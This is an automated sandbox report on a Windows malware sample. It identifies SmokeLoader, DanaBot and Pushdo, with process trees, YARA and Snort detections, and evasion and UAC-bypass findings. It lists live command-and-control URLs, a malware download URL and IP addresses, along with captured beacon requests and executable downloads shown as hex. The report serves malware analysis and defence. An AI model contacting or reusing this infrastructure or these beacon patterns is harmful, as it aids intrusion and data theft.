Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	809764
MD5:	d418791f343e4c979994d9d719a4b720
SHA1:	d927d18128529eb622bbfabe805a483034980286
SHA256:	63e0fae716f15b64e33db258f7cf2cedecb069dbcc8ac88518585714017d5d16
Tags:	exeSmokeLoader
Infos:

Detection

Pushdo, DanaBot, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected DanaBot stealer dll

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Snort IDS alert for network traffic

Yara detected Backdoor Pushdo

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

PE file has a writeable .text section

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to infect the boot sector

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Drops PE files to the user directory

Dropped file seen in connection with other malware

Uses 32bit PE files

Yara signature match

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Connects to many different domains

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Installs a raw input device (often for capturing keystrokes)

Connects to several IPs in different countries

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 5892 cmdline: C:\Users\user\Desktop\file.exe MD5: D418791F343E4C979994D9D719A4B720)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

B9D7.exe (PID: 5876 cmdline: C:\Users\user\AppData\Local\Temp\B9D7.exe MD5: 87B2335C70644C8760842168AB533110)

AF0C.exe (PID: 5576 cmdline: C:\Users\user\AppData\Local\Temp\AF0C.exe MD5: 351E9D6C319A51D02291C57DCCD2837F)

C60F.exe (PID: 6116 cmdline: C:\Users\user\AppData\Local\Temp\C60F.exe MD5: A0114856020C2A20C6C85A7DB2027B03)

eviivjg (PID: 5712 cmdline: C:\Users\user\AppData\Roaming\eviivjg MD5: D418791F343E4C979994D9D719A4B720)

AF0C.exe (PID: 6096 cmdline: "C:\Users\user\AppData\Local\Temp\AF0C.exe" MD5: 351E9D6C319A51D02291C57DCCD2837F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://perficut.at/tmp/", "http://rutobacco.ru/tmp/", "http://aingular.com/tmp /", "http://piratia-life.ru/tmp/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.367359539.0000000000A8B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6eeb:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000002.452239814.0000000000413000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.367016425.00000000008B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000C.00000002.434869552.000000000092C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1458:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000C.00000002.434764935.0000000000740000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000014.00000002.536576305.0000000000720000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6dd3:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.453219998.0000000002110000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000002.452887141.0000000000651000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1238:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000003.385202349.0000000002F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.AF0C.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
19.2.AF0C.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
20.2.C60F.exe.720000.0.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
20.2.C60F.exe.720000.0.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.2.AF0C.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.AF0C.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
11.3.B9D7.exe.2f30000.0.raw.unpack	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
11.3.B9D7.exe.2f30000.0.unpack	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
Click to see the 3 entries

Snort Signatures

ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 - Source IP: 192.168.2.3 - Destination IP: 2.180.10.7

Timestamp:	192.168.2.32.180.10.749684802851815 02/16/23-13:57:12.048829
SID:	2851815
Source Port:	49684
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 - Source IP: 192.168.2.3 - Destination IP: 2.180.10.7

Timestamp:	192.168.2.32.180.10.749686802851815 02/16/23-13:57:16.299577
SID:	2851815
Source Port:	49686
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected DanaBot stealer dll

Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.385202349.0000000002F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://23.106.124.133/totti.exe

URL Reputation: Label: malware

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 69%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\C60F.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Roaming\eviivjg	ReversingLabs: Detection: 69%
Source: C:\Users\user\pigalicapi.exe	ReversingLabs: Detection: 20%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\C60F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\pigalicapi.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B9D7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\eviivjg	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Joe Sandbox ML: detected

Source: 19.2.AF0C.exe.24ea12c.2.unpack	Avira: Label: TR/Patched.Ren.Gen7
Source: 20.2.C60F.exe.72e290.1.unpack	Avira: Label: TR/Downloader.Gen
Source: 20.2.C60F.exe.c50000.2.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 20.0.C60F.exe.c50000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 20.2.C60F.exe.720000.0.unpack	Avira: Label: TR/Spy.Gen
Source: 20.2.C60F.exe.2930000.3.unpack	Avira: Label: TR/Patched.Gen

Source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://perficut.at/tmp/", "http://rutobacco.ru/tmp/", "http://aingular.com/tmp /", "http://piratia-life.ru/tmp/"]}

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 19.2.AF0C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.AF0C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.452239814.0000000000413000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Unpacked PE file: 12.2.AF0C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Unpacked PE file: 19.2.AF0C.exe.400000.0.unpack

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\C60F.exe

Unpacked PE file: 20.2.C60F.exe.720000.0.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 190.114.9.88:443 -> 192.168.2.3:49693 version: TLS 1.2

Source:	Binary string: C:\suyuvacowavo89\wodan\28 vuterap89\jameterigumav\juzidifizay.pdb source: file.exe
Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: AF0C.exe, 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmp, AF0C.exe, 00000013.00000002.452239814.0000000000410000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp, AF0C.exe, 00000013.00000002.453497246.00000000024E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\kamoterek\nace34_ye.pdb source: AF0C.exe, 0000000C.00000000.409163740.0000000000401000.00000020.00000001.01000000.00000009.sdmp, AF0C.exe, 00000013.00000000.432952452.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\suyuvacowavo89\wodan\28 vuterap89\jameterigumav\juzidifizay.pdbX source: file.exe
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp, AF0C.exe, 00000013.00000002.453497246.00000000024E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yafeb\tayilacekox\nic.pdb source: B9D7.exe, 0000000B.00000000.380619176.0000000000401000.00000020.00000001.01000000.00000008.sdmp, B9D7.exe.1.dr
Source:	Binary string: %"574C:\kamoterek\nace34_ye.pdb source: AF0C.exe, 0000000C.00000000.409163740.0000000000401000.00000020.00000001.01000000.00000009.sdmp, AF0C.exe, 00000013.00000000.432952452.0000000000401000.00000020.00000001.01000000.00000009.sdmp

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 95.158.162.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: perficut.at
Source: C:\Windows\explorer.exe	Network Connect: 2.180.10.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.106.124.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h167471.srv11.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 190.114.9.88 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 195.158.3.162 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.129 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.126 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 203.91.116.53 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.95.186.58 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: beg.com.ve
Source: C:\Windows\explorer.exe	Network Connect: 211.119.84.111 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.11 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851815 ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 192.168.2.3:49684 -> 2.180.10.7:80
Source: Traffic	Snort IDS: 2851815 ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 192.168.2.3:49686 -> 2.180.10.7:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://perficut.at/tmp/
Source: Malware configuration extractor	URLs: http://rutobacco.ru/tmp/
Source: Malware configuration extractor	URLs: http://aingular.com/tmp /
Source: Malware configuration extractor	URLs: http://piratia-life.ru/tmp/

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.2Date: Thu, 16 Feb 2023 12:57:17 GMTContent-Type: application/octet-streamContent-Length: 3884544Last-Modified: Thu, 16 Feb 2023 12:50:04 GMTConnection: keep-aliveETag: "63ee267c-3b4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 12 2b 9d 19 73 45 ce 19 73 45 ce 19 73 45 ce 07 21 d0 ce 04 73 45 ce 07 21 c6 ce 70 73 45 ce 07 21 c1 ce 31 73 45 ce 3e b5 3e ce 10 73 45 ce 19 73 44 ce 99 73 45 ce 07 21 cf ce 18 73 45 ce 07 21 d1 ce 18 73 45 ce 07 21 d4 ce 18 73 45 ce 52 69 63 68 19 73 45 ce 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d7 ef c3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 22 01 00 00 f8 4c 00 00 00 00 00 9f 67 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 4f 00 00 04 00 00 e4 cd 3b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 26 01 00 64 00 00 00 00 b0 4c 00 98 42 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 4f 00 c4 0b 00 00 f0 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 41 00 00 18 00 00 00 c0 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 20 01 00 00 10 00 00 00 22 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 69 4b 00 00 40 01 00 00 92 38 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 52 02 00 00 b0 4c 00 00 44 01 00 00 b8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 42 48 00 00 00 10 4f 00 00 4a 00 00 00 fc 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Thu, 16 Feb 2023 12:58:11 GMTContent-Type: application/octet-streamContent-Length: 459264Connection: keep-aliveKeep-Alive: timeout=20Last-Modified: Thu, 16 Feb 2023 07:11:07 GMTETag: "70200-5f4cbe68c35fb"Accept-Ranges: bytesX-Power-Supply-By: 220 VoltData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 7d cf 7a f5 1c a1 29 f5 1c a1 29 f5 1c a1 29 ce 42 a2 28 e6 1c a1 29 ce 42 a4 28 90 1c a1 29 ce 42 a5 28 e7 1c a1 29 41 80 50 29 e3 1c a1 29 41 80 52 29 8f 1c a1 29 41 80 53 29 ea 1c a1 29 28 e3 6a 29 f6 1c a1 29 f5 1c a0 29 79 1c a1 29 f5 1c a1 29 fd 1c a1 29 62 42 a3 28 f4 1c a1 29 52 69 63 68 f5 1c a1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b6 75 eb 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 32 03 00 00 e2 03 00 00 00 00 00 69 82 00 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 60 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 00 94 36 00 00 10 1d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1d 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 60 98 00 00 00 b0 02 00 00 9a 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 18 1b 02 00 00 50 03 00 00 1c 02 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 66 01 00 00 70 05 00 00 52 01 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 64 0a 00 00 00 e0 06 00 00 0c 00 00 00 a4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 65 62 75 67 5f 6f 50 19 00 00 00 f0 06 00 00 1a 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 94 36 00 00 00 10 07 00 00 38 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beg.com.ve
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://extrltwd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rlxoar.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: perficut.at
